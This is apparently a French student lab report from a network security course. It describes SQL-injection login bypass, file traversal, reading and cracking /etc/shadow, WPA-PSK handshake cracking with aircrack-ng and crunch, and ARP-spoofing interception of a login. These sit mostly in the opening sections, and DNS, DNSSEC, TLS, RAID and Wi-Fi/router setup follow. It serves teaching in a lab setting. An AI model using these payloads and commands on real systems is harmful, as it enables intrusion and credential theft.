Pour cela, plusieurs techniques ont été utilisées notamment les méthodes d'injection ou d'exploration de système fichiers
La première étape consistait à utitliser la méthode d'injection en tapant sur http://honey.plil.info/ l'instruction
Identifiant : 'OR 1=1# Mot de passe : 'OR 1=1#
Ce qui nous a permis d'obtenir le mot de passe admin de la page http://honey.plil.info/index.php
admin ***** admin Administrateur
Une fois connecté avec les identifiants administrateurs que nous venions de récupérer,
nous avons utilisé la technique de parcours de fichier.
On retrouver ainsi en créant le fichier /etc/phpmyadmin/config-db.php
Ce qui nous a permis de récupérer le fichier config-db.php
Voici le contenu du fichier :
$dbuser='phpmyadmin'; $dbpass='*****'; $basepath=; $dbname='phpmyadmin'; $dbserver='localhost'; $dbport='3306'; $dbtype='mysql';
On disposait ainsi du mot de passe ainsi que de l'identifiant de la page http://honey.plil.info/phpmyadmin/
en clair
Nous nous sommes connectés en root
Et nous avons obtenus le mot de passe au niveau de l'arborescence test/
Arrivé à cette étape nous nous sommes connectés en ssh sur la machine physique
ssh rex@honey.plil.info mot de passe : ****
On a installé l'utilitaire shadow
cat /etc/shadow touch file ... Add first line in fil .... Uncrypt with john
Brute-force sur WPA-PSK
Pour commencer, la carte passe en mode monitor :
airmon-ng start wlan0
Puis une analyse des réseaux wifi disponible est effectuée :
airodump-ng wlan0mon
On sélectionne notre réseau wifi (ici kracotte 6) avec son adresse MAC
airodump-ng -c 3 --bssid 00:14:1B:60:8C:25 -w /home/pifou/Desktop/kracotte6 wlan0mon
Lorsque le handshake est obtenu, on compare grâce à un dictionnaire et la commande le fichier .cap récupéré:
aicrack-ng -a2 -b 00:14:1B:60:8C:25 -w dico.txt kracotte06-02.cap
Pour créer le dictionnaire, on utilise la commande crunch (comme on sait que le mot de passe est sur 8 caractères et forcément un nombre)
crunch 8 8 0123456789 -o ./dico.txt
Finalement, après un peu moins d'1h d'attente :
Attaque de type "homme au milieu" par usurpation ARP
Dans cette partie nous allons effectuer une attaque de type "homme du milieu" en faisant passé notre ordinateur pour la passerelle.
Nous l'avons réalisé en ces étapes :
1. Installation du paquetage dsniff sur notre ordinateur 2. Modification du fichier /proc/sys/net/ipv4/ip_forward à 1 3. Dans le terminal : arpspoof -i eth0 -t 172.26.145.70 172.26.145.254 4. Dans un autre terminal : arpspoof -i eth0 -t 172.26.145.70 172.26.145.254 5. Ouverture de wireshark sur l'eeepc et filtrage des paquets capturés sur le type hit 6. Ouverture d'un site http (http://fabricarium.polytech-lille.fr) 7. Observation sur wireshark des paquets (méthode GET) 8. En essayant de nous connecter en remplissant les identifiants, nous avons eu ce résultat :
892 27.057577298 172.26.145.70 193.48.57.233 HTTP 1118 GET http://fabricarium-old.polytech-lille.fr/ HTTP/1.1
987 38.734920206 172.26.145.70 193.48.57.233 HTTP 1383 POST http://fabricarium-old.polytech-lille.fr/users/sign_in.json HTTP/1.1 (application/json)
995 39.815022272 172.26.145.70 193.48.57.233 HTTP 1444 POST http://webmailportal2.polytech-lille.fr/?_task=mail&_action=refresh HTTP/1.1 (application/x-www-form-urlencoded)
1523 99.814090449 172.26.145.70 193.48.57.233 HTTP 1444 POST http://webmailportal2.polytech-lille.fr/?_task=mail&_action=refresh HTTP/1.1 (application/x-www-form-urlencoded)
Frame 987: 1383 bytes on wire (11064 bits), 1383 bytes captured (11064 bits) on interface 0 Ethernet II, Src: IntelCor_8f:f7:d3 (00:15:17:8f:f7:d3), Dst: HewlettP_01:ed:ce (5c:b9:01:01:ed:ce) Internet Protocol Version 4, Src: 172.26.145.70, Dst: 193.48.57.233 Transmission Control Protocol, Src Port: 53876, Dst Port: 3128, Seq: 14532, Ack: 11925, Len: 1317 Hypertext Transfer Protocol JavaScript Object Notation: application/json Object Member Key: user Object Member Key: email String value: mail@mail.com Key: email Member Key: password String value: motdepasse Key: password Key: user
Connexion de la VM au net
Après plusieurs modifications par nos camarades et professeurs sur le serveur, nous avons eu la marche à suivre afin de configurer correctement la VM pour la connecter au web.
Pour cela, nous avons modifié le fichier /etc/network/interfaces pour avoir la configuration suivante :
Nous avons donc comme configuration l'adresse web 193.48.57.183 vue par l'extérieur, un routage sur l'adresse 100.64.0.23 sur l'OSPF qui correspond au réseau virtuel via le VLAN 333 et l'adresse routeur 100.64.0.2. Le mot clé src indique que les paquets à destination du 193.x.x.x est à destination de l'ip du VLAN.
Par la suite, une route doit être créée sur l'OSPF pour connecter correctement la VM sur le VLAN au web, une simple commande grâce au minicom :
enable conf t vlan 333 ip route 193.48.57.183 255.255.255.255 100.64.0.23
Pour accéder via ssh à la machine, il suffit de s'y connecter via les identifiants habituels.
Modification host DNS et configuration de bind9
Modification sur gandi.net
Afin d'être identifiable sur le net, nous avons besoin d'un DNS sur notre VM.
Pour cela, nous créons un glue record sur gandi.net pour morillon avec l'adresse web externe : 193.48.57.183 en attribuant comme nameserver ns1.morillon.website
Ainsi, nous pouvons exporter le DNS sur notre serveur tel que le nameserver 1 est le notre : ns1.morillon.website et le 2, comme adressage de secours : ns6.gandi.net
Malheureusement, bien qu'on ait demandé à gandi d'exporter le nameserver le dimanche 1er novembre vers 12h30, celui-ci n'a pas pris en compte notre demande.
Elle fut redemandé le 2 novembre...
MàJ du 16/11:
Après vérification, une erreur de type couillon sur le glue record a probablement empêché le bon déroulement de l'opération : l'adresse ip renseignée était 193.57.48.183 au lieu de 193.48.57.183...
MàJ du 30/11:
Migration réussie
MàJ du 09/12:
Après plusieurs modifications, le site est up et la page par défaut d'apache2 avec une petite modification pour confirmer le fonctionnement.
Configuration de bind9
Après installation
apt install bind9
nous avons configuré bind9 dans le dossier local de la VM
/etc/bind/
Le fichier db.morillon.website a été créé. Nous y avons ajouté les lignes suivantes :
BIND data file for local loopback interface; $TTL 604800 @ IN SOA ns1.morillon.website. postmaster.morillon.website. ( 3 ; Serial 604800 ; Refresh 86400 ; Retry 2419200 ; Expire 604800 ) ; Negative Cache TTL ; @ IN NS ns1.morillon.website. @ IN NS ns6.gandi.net. ns1 IN A 193.48.57.183
MàJ du 09/12
Plusieurs modifications ont été effectuées sur le ficiher db.morillon.website:
Modification des A record, serveur mail et web, passage au serial contenant date de modification:
;BIND data file for local loopback interface ; $TTL 86400 @ IN SOA ns1.morillon.website. postmaster.morillon.website. ( 2020120705 ; Serial 604800 ; Refresh 86400 ; Retry 2419200 ; Expire 86400 ); ; Negative Cache TTL @ IN NS ns1.morillon.website. @ IN NS ns6.gandi.net. @ IN MX 100 mail mail IN A 193.48.57.183 ns1 IN A 193.48.57.183 www IN CNAME ns1
mail passé en A car warning de bind9 alertant l'illégalité d'un mail en CNAME
Ajout d'une zone inverse dans le fichier db.193:
; BIND reverse data file for local loopback interface ; $TTL 604800 @ IN SOA ns1.morillon.website. postmaster.morillon.website. ( 2020120703 ; Serial 604800 ; Refresh 86400 ; Retry 2419200 ; Expire 604800 ); ; Negative Cache TTL ; @ IN NS ns1. 183 IN PTR ns1.morillon.website. 183 IN PTR mail.morillon.website.
Avec une entrée pour chaque A record
Modification du fichier named.conf.options :
... listen-on-v6 { any; }; listen-on { any; }; allow-recursion {127.0.0.1; 193.48.57.183; 217.70.177.40;}; allow-query-cache {127.0.0.1; 193.48.57.183;}; ...
Ajout de l'IP publique et du dns gandi pour les récursions, query-cache réduit pour empêcher usurpation Des request denied dans le log confirme le bon fonctionnement :
... Dec 9 08:42:51 morillon named[1923]: client @0x7f1a44056fa0 88.80.186.137#43549 (193-48-57-183-5fd02192.spiderprobe.com): query (cache) \ '193-48-57-183-5fd02192.spiderprobe.com/A/IN' denied Dec 9 11:07:56 morillon named[1923]: client @0x7f1a44056fa0 1.158.72.169#80 (sl): query (cache) 'sl/ANY/IN' denied Dec 9 11:07:57 morillon named[1923]: client @0x7f1a44056fa0 1.158.72.169#80 (sl): query (cache) 'sl/ANY/IN' denied Dec 9 11:07:57 morillon named[1923]: client @0x7f1a44056fa0 1.158.72.169#80 (sl): query (cache) 'sl/ANY/IN' denied ...
Modification du fichier named.conf.local :
... zone "57.48.193.in-addr.arpa" { type master; notify no; file "/etc/bind/db.193"; }; ...
Pour zone de recherche inverse
Modification du fichier de lancement /etc/default/bind9 pour un mode IPv4 pour l'instant:
... OPTIONS=" -4 -u bind" ...
Configuration du DNSSEC
Pour configurer bind9 avec dnssec, nous générons d'abord les clés KSK et ZSK:
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE morillon.website dnssec-keygen -a RSASHA1 -b -b 1024 -n ZONE morillon.website
Pour plus de clarté :
mv Kmorillon.website.+005+59473.key morillon.website-ksk.key mv Kmorillon.website.+005+59473.private morillon.website-ksk.private
mv Kmorillon.website.+005+52512.key morillon.website-zsk.key mv Kmorillon.website.+005+52512.private morillon.website-zsk.private
Ajout dans le fichier named.conf.options des options propres au DNSSEC:
... dnssec-enable yes; dnssec-validation yes; dnssec-lookaside yes; ...
Ajout dans le fichier de zone db.morillon.website des clés:
$include /etc/bind/morillon.website.dnssec/morillon.website-ksk.key $include /etc/bind/morillon.website.dnssec/morillon.website-zsk.key
Incrémentation du revision code
Signature du fichier de zone par l'utilitaire dnssec :
dnssec-signzone -o morillon.website -k morillon.website-ksk db.morillon.website morillon.website-zsk
Nous avons eu un problème lors de la signature du fichier de zone, pour cela nous avons dû rajouter le timeout dans les fichiers de clés :
morillon.website. 3600 IN DNSKEY 257 3 5 AwEAAfVX0ANdFDm...
Apparemment à cause de l'option -L absente lors de la création des clés.
Modification du fichier named.conf.local pour changement du fichier de zone à charger :
... //file "/etc/bind/db.morillon.website"; file "/etc/bind/db.morillon.website.signed"; ...
Redémarrage du serveur bind9 avec la nouvelle configuration :
service reload bind9
Puis partage des clés KSK et ZSK avec gandi.net dans la zone registrar (utilisation d'un algorithme RSA/SHA1 (5))
Lors d'un host -t any, nous obtenons :
morillon.website has RRSIG record NSEC 5 2 86400 20210113121019 20201214121019 52512 morillon.website. nIhQAoZ568EQQ9eOl5H11UqnE49RW62604sey8RqnpVV1GWO4Rp5fkX4 7aOmVVljXVpnFvBfcfVYI430VHGKJUjUwSgSQSFFrLsKqETAp2PZFosH qEX1ml7c6U5SGpWdlkMtisLCxYfYn8/r2R25MZtrZsIsW543Zx6kXSzP 4CI= morillon.website has NSEC record mail.morillon.website. NS SOA MX RRSIG NSEC DNSKEY morillon.website has RRSIG record MX 5 2 86400 20210113121019 20201214121019 52512 morillon.website. GYKvgQe+6dfZkrevA3TXyJS82o77qWlRl/pNsE0I41Ku7FT1RgifPDll kXnqRl9G70iT4cRB9dNa/F+7RTcvY276in44lMkAzRlMWARG8+hYBhhq 5nvNN4kJpDZ7dKIpTc/wMu7SGiMZYKKrJOeK/pdarxI4ZHyqhDMiCW/X 9hE= morillon.website mail is handled by 100 mail.morillon.website. morillon.website has RRSIG record NS 5 2 86400 20210113121019 20201214121019 52512 morillon.website. RuAS5LH4UEmd+FIjzD522vwJcrGYlNuUuZYsDAFy0JiMGuOse5EKAWOi 01NWxfLAPGCDlj9Dj4QfyxSA+GhIJPEU25kcR44Nv/LQn1FsJZlQT8XM QkUnAXSlchrIlKg+XaSCTGjjfB1rE5Oba7PUwYgQ5CC7C7etvXegp2QV Ju0= morillon.website has RRSIG record SOA 5 2 86400 20210113121019 20201214121019 52512 morillon.website. i+0smnpl1ASGvURvV3lL/BuL6Zw/s3yjslMRUIKbOkE4tM/zgqF5RrTb gHOkj3PcZSSaO31O3vKUz6S0iPo/YWQvdaF0aHDcyvLQgCLiP6vpNwF+ mwOO821Jto39AM+3cuWCsytKECqKH4LoDMxkw/MUi6DJe40eAD8HEf2P 8iQ= morillon.website has SOA record ns1.morillon.website. postmaster.morillon.website. 2020120706 604800 86400 2419200 86400 morillon.website has RRSIG record DNSKEY 5 2 3600 20210113121019 20201214121019 52512 morillon.website. VGQyJDSf38xOBJymFK/DYLO/UYPEoIspsqZpPPnX+nPjUdR5Tw3tILPT 5AfZWAChlgQ8AnfLzxum/znpKI66EbeqTHvg1J/FjMBvlsyyLjwqjn6w u7JzquC/fbpq4HsskLFgpl1Z1zNuQAJB9xBGOJR8BpCHBRc8ubp1tUzy I2k= morillon.website has RRSIG record DNSKEY 5 2 3600 20210113121019 20201214121019 59473 morillon.website. Tz3BwfoPt+loiqbWuQnbDdl57L6eXQ+dv+ZvXzcrvCSTXy/UKNRjs39d t6j6krwo4eZk6blXGgDEm93D67AmkQHmus9NYL9VgR0eG/NPHIodozzq aai4jXKwcOnk8O3d/nObyOERvGbnD9znUVGtgiUDCcY7UaXBogewFyCR Zxq69+FdFvmIXwriHHRRiaN/Bf4r/+djB46AcZEpbtvq1475BfJ6qYe/ VxW5odv1wcr9k8Sy/27LMbaHzdX9OWqdYLge3vfBRa8VMW+R57tx+M0p mtmOExUgc3mmnsVLP89L2M85MMTcbaup1RJIG4L33CaYEl9hOiaki4j8 CW5GHg== morillon.website has DNSKEY record 257 3 5 AwEAAfVX0ANdFDmDRKIBUMhso53F9LjZnc3lKHwHZHe3xiyLnFC+rQyc CQH+xg5g0UvDSLtoTFRtMiA4AyY6d8fywjmNFVluu64iDWyZkIVdiZLm XkfDdt4lz2+rxE1IkncbCYKkOk5cwkXYtxR/z/leOyZPX4i8Q1fhMfJG jUzNnZ1dATz0WGTb5qoGU9mEzVOH1WH4SkHc+acXkfBn6MtgR/DNJKDw 5huO3LMuA/ZyfwZU7lHhID97MMdpIwTIjd/nJLCjNY6rUP4OzZka7VjQ n/lOZ2UGMjOn+4QQqKDvmLohUOBsNFyY7PnSvsV9j5riNEZfuBx863QN 0PSBfK9cA4M= morillon.website has DNSKEY record 256 3 5 AwEAAaZUpNecSfAJ70amN3b4lcgpOAKXwbeJRogxxJEaqoSa0meQm6PY ZHAJFkxMMi78X+qVQeZr206VozCjPhysAWK6G45h/yY73Xzw1s0KzLwf L6FOhcn7KWzf2CIm6RfH5hwRLyuDriAaVVdKPxN/CkW9LIXRzm5LWSdz hqsZrhsz morillon.website name server ns6.gandi.net. morillon.website name server ns1.morillon.website.
Cela fonctionne correctement.
Apache2 et sécurisation du serveur
Pour sécuriser le serveur et accéder à notre site web apache2, ce dernier a besoin d'un certificat.
Pour l'obtenir, nous avons tout d'abord créer un CSR et une private key dans le dossier home du serveur.
openssl req -nodes -newkey rsa:2048 -sha256 -keyout morillon.key -out morillon.csr
Et fourni les éléments d'identification de notre serveur (localisation, nom commun, etc.)
Une fois le .csr et le .key créés, nous transmettons à gandi.net le CSR afin de générer un certificat signé.
Nous avons configué notre serveur pour recevoir des mails, pour cela, nous avons installé 2 paquets :
postfix bsd-mailx
Puis nous avons ajouté un alias dans le fichier /etc/aliases
admin: root
Il est nécessaire de renseigner l'adresse du serveur mail dans le fichier DNS /etc/bind/db.morillon.website
@ IN MX 100 mail mail IN CNAME ns1 ns1 IN A *adresse ip publique*
Grâce à
mailx
Nous pouvons vérifier la présence de mail sur notre serveur et recevoir la demande d'authentification de gandi pour générer le certificat.
Une fois obtenue, nous avons 4 fichiers : .key (fichier private key) .csr (fichier certificate) .crt (certificat signé) et .pem (liste des certificats accordés aux autorités signant notre certificat)
Nous configurons par la suite apache2 pour utiliser ces certificats, dans le terminal :
a2enmod ssl a2enmod headers service apache2 restart
Maintenant, nous créons un fichier de configuration pour notre serveur:
touch /etc/apache2/sites-available/morillon.website.conf
Contenant :
<VirtualHost *:80> Redirect permanent / https://www.morillon.website </VirtualHost> #Pour rediriger automatiquement les connexions http vers https <VirtualHost *:443> ServerName morillon.website ServerAlias www.morillon.website DocumentRoot "/var/www/morillon.website" <Directory "var/www/morillon.website"> Options +FollowSymLinks AllowOverride all Require all granted </Directory> ErrorLog /var/log/apache2/error.morillon.website.log CustomLog /var/log/apache2/access.morillon.website.log combined #Paramètres de base pour notre site SSLEngine on SSLCertificateFile "/home/certificates/morillon.website.crt" SSLCertificateKeyFile "/home/certificates/morillon.key" SSLCertificateChainFile "/home/certificates/GandiStandardSSLCA2.pem" #Activation de la sécurité TLS, emplacement des certificats, de la clé privée et des listes de certificats intermédiaires SSLProtocol -ALL +TLSv1 +TLSv1.1 +TLSv1.2 SSLHonorCipherOrder On SSLCipherSuite ECDHE-RSA-AES128-SHA256:AES128-GCM-SHA256:HIGH:!MD5:!aNULL:!EDH:!RC4 SSLCompression off #Quelques options de sécurité supplémentaires suites aux découvertes sur les failles TLS de 2014 </VirtualHost>
Et nous avons désactivé les autres sites par défaut :
a2dissite 000-default.conf a2dissite default-ssl.conf
Et activons notre site:
a2ensite morillon.website.conf
Encryption Clé USB
Pour sécuriser une clé avec un mot de passe, nous avons utilisé cryptsetup. On s'assure d'abord de partir sur une clé toute propre :
fdisk -l #sélection de la clé à formater fdisk /dev/sdb o #creation table MBR n #creation nouvelle partition w #écriture sur la clé
La commande crypsetup utilisée est la suivante :
cryptsetup open --type plain /dev/sdb1 encryptedDevice #s'en suit une demande de mdp
Elle monte ensuite dans le dossier /dev/mapper et il devient possible de la formater :
mkfs.ext4 /dev/mapper/encryptedDevice
Elevation de privilège sur kernel linux
Pour tester l'élevation de privilège, nous utilisons la faille CVE_2016_0728 qui fonctionne sur les kernels entre 3.6 et 3.18 Identifié par la team Perception Point http://perception-point.io/2016/01/14/analysis-and-exploitation-of-a-linux-kernel-vulnerability-cve-2016-0728/
Création d'un VM avec KVM d'une debian jessie pour test sur zabeth21.
Raid 5 Logiciel
Pour réaliser le raid 5 logiciel, on crée tout d'abord 3 partitions virtuelles via lvcreate:
lvcreate -L1G -n JDDTTR5* storage
Ensuite on les lie à la VM dans le fichier /etc/xen/morillon.cfg comme pour les disques home et var.
Après redémarrage de la VM, on installe le paquet mdadm et on crée un raid 5 sur les 3 nouvelles partitions :
mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvde /dev/xvdf /dev/xvdg
On peut vérifier la création grâce à :
cat /proc/mdstat
qui nous renvoie :
Personalities : [raid6] [raid5] [raid4] md0 : active raid5 xvdg[3] xvdf[1] xvde[0] 2093056 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/3] [UUU]
Lors de la désactivation d'un des disques du raid, les données restent accessibles par reconstruction de la partie manquante à partir de 2 parties existantes ou d'une partie et d'une clé correspondante.
Sécurisation WiFi par WPA2-EAP
Le but dans cette étant de permettre à la borne WiFi d'être controlé par WPA2-EAP,
nous avons en sorte que l'identification va se faire en utilisant le même serveur FreeRadius que pour la sécurisation filaire
Pour ce faire :
Nous nous sommes connecté par ssh à notre point d'accès
ssh root@10.60.100.10 -c aes128-cbc
Ce qui nous a permis de nous connecter sur le point d'accès wifi-ima5
Une fois dessus nous avons effectué les commandes suivantes :
wifi-ima5sc>en wifi-ima5sc# (Après avoir tapé le mot de passe) wifi-ima5sc# config-term wifi-ima5sc(config)# aaa new-model wifi-ima5sc(config)# aaa authentication login eap_group6 group radius_group6 wifi-ima5sc(config-sg-radius)# radius-server host 193.48.57.183 auth-port 1812 acct-port 1813 key secret_group6 wifi-ima5sc(config)# aaa group server radius radius_group6
wifi-ima5sc(config)# dot11 ssid morillon wifi-ima5sc(config-ssid)# vlan306 wifi-ima5sc(config-ssid)# authentication open eap eap_group6 wifi-ima5sc(config-ssid)# authentication network-eap eap_group6 wifi-ima5sc(config-ssid)# authentication key-management wpa wifi-ima5sc(config-ssid)# mbssid Guest mode
wifi-ima5sc(config)# int dot11radio0 wifi-ima5sc(config-if)# encryption vlan 306 mode ciphers aes-ccm tkip wifi-ima5sc(config-if)# mbssid wifi-ima5sc(config-if)# encryption vlan 306 mode ciphers aes-ccm tkip wifi-ima5sc(config-if)# ssid morillon wifi-ima5sc(config)# int dot11radio0.6 wifi-ima5sc(config-subif)#encapsulation dot1Q 6 wifi-ima5sc(config-subif)#bridge-group 6
Configuration VRPP
Sur le routeur 6509-E
(config)# vlan 306 (config-if)# vrrp 46 ip 10.60.106.254 (config-if)# vrrp 46 preempt (config-if)# vrrp 46 priority 110
Sur le routeur C9200
(config)# vlan 306 (config-if)# vrrp 46 address-family ipv4 (config-if-vrrp)# address 10.60.106.254 (config-if-vrrp)# preempt (config-if-vrrp)# vrrpv2
Configuration IPv6
Afin d'effectuer la configuration IPv6 nous avons procédé aux étapes suivantes :
Sur le routeur 6509-E :
(config)# int vlan 306 (config-if)# no shut (config-if)# ip address 10.60.106.1 255.255.255.0 (config-if)# ipv6 enable (config-if)# ipv6 address 2001:660:4401:60b8::0/64 eui-64 (config-if)# ipv6 nd prefix 2001:660:4401:60b8::0/64 1000 900 (config-if)# ipv6 nd router-preference High
Sur le routeur C9200 :
(config)#int vlan 306 (config-if)#no shut (config-if)#ip address 10.60.106.2 255.255.255.0 (config-if)#ipv6 enable (config-if)#ipv6 address 2001:660:4401:60b8::0/64 eui-64 (config-if)#ipv6 nd prefix 2001:660:4401:60b8::0/64 1000 900 (config-if)#ipv6 nd router-preference Low
Notre machine arrive à recupérer une adresse IP
IMA5sc-R1#sh ip dhcp bin IMA5sc-R1#sh ip dhcp binding IP address Client-ID/ Lease expiration Type Hardware address 10.60.106.100 0146.f879.9094.cf Jun 01 2000 04:53 AM Automatic